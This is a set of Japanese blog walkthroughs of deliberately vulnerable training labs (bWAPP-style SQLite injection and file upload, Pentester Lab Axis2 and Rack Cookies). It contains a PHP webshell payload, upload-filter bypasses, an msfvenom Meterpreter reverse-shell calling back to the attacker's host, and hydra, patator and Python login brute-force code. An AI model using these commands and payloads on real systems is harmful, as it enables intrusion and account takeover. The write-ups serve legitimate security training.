python2 /usr/share/exploitdb/exploits/multiple/webapps/24320.py http://192.168.56.33/sqlite/
で、リモートからデータベースを作成してPHPコードを挿入できる
データーベースファイルの拡張子を.php
にしておいて、そのデータベースにVauleとしてPHPコードを記述すれば、データベースファイルがPHPコードとして実行される。
通常は、データベースファイルは.sqlite3
などの拡張子となる。
上記Exploitが成功すると、phpinfo
というデーターベースが作成される
database fileのあるパスにアクセスすると、database fileに記述された<?php phpinfo() ?>
をPHPコードとして実行し、phpinfo()
の実行結果が表示されている
同様のことを手動でも確認する
database fileをshell5.php
という名前で作成する
CREATE TABLE inject_table(codetab text); INSERT INTO inject_table VALUES('<?php system($_GET['cmd']); ?>');をSQLで実行しようとしてみる
すると、以下のようなエラー
phpinfo()
に書き換えるとうまく行くdatabase fileのパスを[option]から確認
このパスにアクセスしてみると、
phpinfo()
の実行結果が表示されている!次に、この
phpinfo()
を編集してWebshellを設置する以下のように編集する
先ほどと同じパスにアクセスするとWebshellが動いている!
Other bugs
Information Disclosure – Favicon
Information Disclosure – Headers
Insecure iFrame (Login Form)
ソースコードは以下
このソースコードをさらに見てみる
attacker
にPOSTされてしまうようになっている!
実際にPOST先をBurpで見てみると以下のようになっている
Unrestricted File Upload
low
exploit.php
をアップできた!
何もチェックしていないmedium
exploit.pht
をアップするとPHPファイルとして実行された!
ソースコードは以下
function file_upload_check_1($file, $file_extensions = array("asp", "aspx", "dll", "exe", "jsp", "php"), $directory = "images") { // Breaks the file in pieces (.) All pieces are put in an array $file_array = explode(".", $file["name"]);
// Puts the last part of the array (= the file extension) in a new variabele // Converts the characters to lower case $file_extension = strtolower($file_array[count($file_array) - 1]);
// Searches if the file extension exists in the 'allowed' file extensions array if(in_array($file_extension, $file_extensions)) {
$file_error = "Sorry, the file extension is not allowed. The following extensions are blocked: <span class="synIdentifier"><</span><span class="synStatement">b</span><span class="synIdentifier">></span>" . join(", ", $file_extensions) . "<span class="synIdentifier"></</span><span class="synStatement">b</span><span class="synIdentifier">></span>"; return $file_error;
}
high
webshell.php.jpg
がアップできた!
他にLFIなどの脆弱性があってこのファイルをPHPファイルとしてinclude
できる場合、実行することができる!
function file_upload_check_2($file, $file_extensions = array("jpeg", "jpg", "png", "gif"), $directory = "images") { // Breaks the file in pieces (.) All pieces are put in an array $file_array = explode(".", $file["name"]);
// Puts the last part of the array (= the file extension) in a new variabele // Converts the characters to lower case $file_extension = strtolower($file_array[count($file_array) - 1]);
// Searches if the file extension exists in the 'allowed' file extensions array if(!in_array($file_extension, $file_extensions)) {
$file_error = "Sorry, the file extension is not allowed. Only the following extensions are allowed: <span class="synIdentifier"><</span><span class="synStatement">b</span><span class="synIdentifier">></span>" . join(", ", $file_extensions) . "<span class="synIdentifier"></</span><span class="synStatement">b</span><span class="synIdentifier">></span>"; return $file_error;
}
Walkthrough: Pentester Lab Axis2 Web service and Tomcat Manager
Pentester Lab: Axis2 Web service and Tomcat ManagerのWalkthroughです。
https://www.vulnhub.com/entry/pentester-lab-axis2-web-service-and-tomcat-manager,72/
なんとかshell奪うとこまで自力で行けたんですがいざ公式の解説読んでみると自分のやり方と全然違ってました。
ので自分が解いた方法のWalkthrough書くことにしました。
公式の解説は以下で見てください
なお、調査の方法は自分の書いた記事を参考にしています。
kakyouim.hatenablog.com
(ここには解き終わったらその都度追加していってるので、今回の手法も書いてありますが解いてる時点では書いてありません)
ネットワークの調査
echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
192.168.56.31が対象のアドレスですね
nmap -p- -sV -sT -A 192.168.56.31
sshとApacheのwebサービスが稼働しているようですね
nikto -h 192.168.56.31
有効なものとしては、
axis2/axis2-admin/
の存在axis2/axis2-admin/login
にuser=admin,password=axis2でログイン可能CVE-2010-2103
(axis2へのXSS)
を検出しています。
クレデンシャル情報が特定できているのはめちゃくちゃありがたいですね。
どうやらaxis2ではログインのためのアカウントがデフォルトで存在しており、そのパスワードが変更されていなかったようですね。
ちなみに、tomcatのバージョンもエラーページから判明しました。
tomcat 6.0.35とnmapから判明したApache 2.2.16をsearchsploit
で検索してみましたが特にそれっぽいExploitは見つかりませんでした。
axis2へ攻撃
上記に先ほど判明したクレデンシャルを入れてログイン。
ログインすると、uploadページがあるのでここからWebshellをアップできそうです!
いろいろググってみると、clusterd
というツールでaxis2にWebshellをアップできるようです。
早速使おう!……と思ったのですがどうやらmsfpayloadがないことでエラーが起きています。現在はmafpayloadはmsfvenomにアップグレードされたため存在しません。
つまりこのツールは動かなそうです。
でも違いはそれだけなのでソースコードを参照して手動でWebshellを設置してみます
これから、この動作をmsfvenomで書き直すと、
sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
で行けそうです。
これをアップロードしてみます。しかし以下のようなエラーにより動いていません
どうやらservices.xml
とがいうファイルが足りてないようです。
またググってみると、以下のようなページを見つけたのでそれに従ってみます。
https://github.com/hatRiot/clusterd/wiki/Axis2
sudo jar -xvf shell.jar
で一度展開し、
META-INF/
にsrc/module/generate_payload.py
に書かれているservices.xmlを追加。
metasploit/
にsrc/lib/axis2/PayloadServlet.class
を追加.
そして、
sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat
で再度jarファイルを作成し、アップロード。
これでエラーなく動いていますね!!
あとはMetasploitを起動して、
use multi/handler set PAYLOAD java/meterpreter/reverse_tcp set LPORT 4444 set LHOST 192.168.56.5 exploit
これでTCPHandlerを待機させておいて、
http://192.168.56.31/axis2/services/shell
にアクセスすることでMeterpreterセッションがつながりました!
ヤッタゼ
でもこれって全然予想解答じゃないんですね……。自分はniktoの結果見て食いついてしまいました
Metasploit使っちゃったんですがこの方法でMetasploit使わずに成功させたいですね
最後に
予想解答ではなかったようですがShell取れたのでヨシ!(違う)
Metasploit使っちゃたので使わないで成功させる方法も考えたい。
Pentesterlab学べることが多くていいですね!
Pentester Lab: Rack Cookies and Commands Injection Walkthrough
難易度hardのマシンです。自分は難しくて手も足も出ませんでした……
基本的にはpenterster lab公式のWalkthroughを読むことをおススメします。ここにはそっちには書いていないような自分が試したこととかをメモします。完全なWalkthroughではないので悪しからず
調査する手順とか方法は自分が書いた
kakyouim.hatenablog.com
を参考にしています。
ネットワークの調査
echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
192.168.56.32ですね。nmap -p- -sV -sT -A 192.168.56.32
sshとISCBINDが起動していますがどちらも脆弱ではないようです。Webサービスの稼働している80を見ていくことになりそうですねnikto -h 192.168.56.32
特に有益な情報はないですねowasp zap
自分はいろいろ試すためにowasp zapとかも使って見ています。どうやらログインページがあるだけのようですね
調査は大体こんなもんでしょうか。次は、vulnhubの説明にもあるようにブルートフォースでログインを試みてみます
Login Brute Force
hydra -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -P /usr/share/john/password.lst -s 80 192.168.56.32 http-post-form '/login:login=^USER^&password=^PASS^:....'
とりあえずhydra先輩を使ってみる、が成功せず……。なんでだ?と思いWiresharkで確認する
Location
ヘッダーでリダイレクトしている様子。
hydraはbodyの中に特定の文字列があるかどうかで判定しているが、今回はbodyには何も含まれずリダイレクトするので失敗していると考えられる。
ツールの限界を知るのって大事ですね
medusa -h 192.168.56.32 -U /usr/share/metasploit-framework/data/wordlists/http_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -M web-form -m FORM:"/login" -m DENY-SIGNAL:".." -m FORM-DATA:"post?login=&password=&"
次に、medusa先輩を使ってみる
どうやらレスポンスコードが302の場合はエラーとなって実行できないようです。
ツールによっていろいろ違うんですねBurp Intruder
次にBurp Suiteの機能の一つであるIntruderを使ってみます
wordlistとして、/usr/share/metasploit-framework/data/wordlists/http_default_users.txt
を使ってみます
どれも成功してません……
BurpはPro版でなければスレッドを1以外に多分設定できないのでめっちゃ時間かかります。できれば別のワードリストで試したいですがそれは時間的に厳しそうです
ちなみにBurpならリダイレクト先まで確認できるのでそれをみれば判定できそうです
自分はここでギブアップしてしまいましたが、公式の解説を見るとどうやらpatatorというツールを使えばリダイレクト先までチェックできるようですpython patator.py http_fuzz url=http://192.168.56.32/login method=POST body='login=FILE0&password=FILE0' 0=/usr/share/wfuzz/wordlist/general/big.txt accept_cookie=1 follow=1 -x ignore:fgrep='DNS Manager Login'
これで成功しました!
なお、標準でpatator
コマンドは入っているのですが、なんか動かなかったので新しく入れなおしました
ちなみにignore
オプションを付けてもいいのですが、レスポンスのサイズでも判別できるような気がするので、-l /tmp/patator
オプションでRUNTIME.logにコマンド実行結果を保存して、
cat RUNTIME.log | awk '{print $6":"$9}' | awk -F ":" '{if($1!=346) print $1" "$3}'
とかで異常なレスポンスのサイズのやつを抽出すると、
こんな感じでtest
だとわかりますね!
ちなみに、公式ではRubyでブルートフォースコードも実装していましたが、勉強のためにpythonでも書いてみました(実際に別の言語でコードを書いてみよう!的なことが書いてあったので……)。
なお、公式の方では、Location
ヘッダーに/login
以外があるかどうかで判別していましたが、pythonの方ではSet-Cookie
ヘッダーがあるかないかで判別するようにしました
import urllib.request import urllib.parse from bs4 import BeautifulSoup import sys import subprocess user_count = int(subprocess.check_output(['wc', '-l', sys.argv[1]]).decode().split(' ')[0]) pass_count = int(subprocess.check_output(['wc', '-l', sys.argv[2]]).decode().split(' ')[0]) print("Count file line:user",user_count," pass",pass_count) count = 0 opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor()) url = 'http://192.168.56.32/login' data = { 'login': 'foo', 'password': 'deadbeef', } headers = { } fp_user = open(sys.argv[1],'r',encoding="utf8",errors='ignore') for user in fp_user.readlines(): fp_pass = open(sys.argv[2],'r',encoding="utf8",errors='ignore') for password in fp_pass.readlines(): data["login"] = user.rstrip('\n') data["password"] = password.rstrip('\n') #print("Try username:",user.rstrip('\n')," password:",password.rstrip('\n')) count = count + 1 if((count % 300)==0): print("attack count ",count," percent:",100*count/(user_count*pass_count),"%") req = urllib.request.Request(url, urllib.parse.urlencode(data).encode('utf-8'), headers) res = opener.open(req) body = res.read() if res.info()['Set-Cookie'] != None: print("[+] Valid user Found!! user=",user.rstrip('\n')," password=",password.rstrip('\n')) #print(BeautifulSoup(body, 'html.parser')) sys.exit() res.close()
これを実行すると、
test
で成功しました!わーい!
これ以後は公式の解説通りなのでそっちを参照してください
最後に
ここではログインブルートフォースまでを記事にしました。参考になればよかったです。
Pentester Lab シリーズは公式の解説がめちゃくちゃ丁寧なのでぜひやってみることをお勧めします!
いつかhardレベルも解けるようになりたいものですね。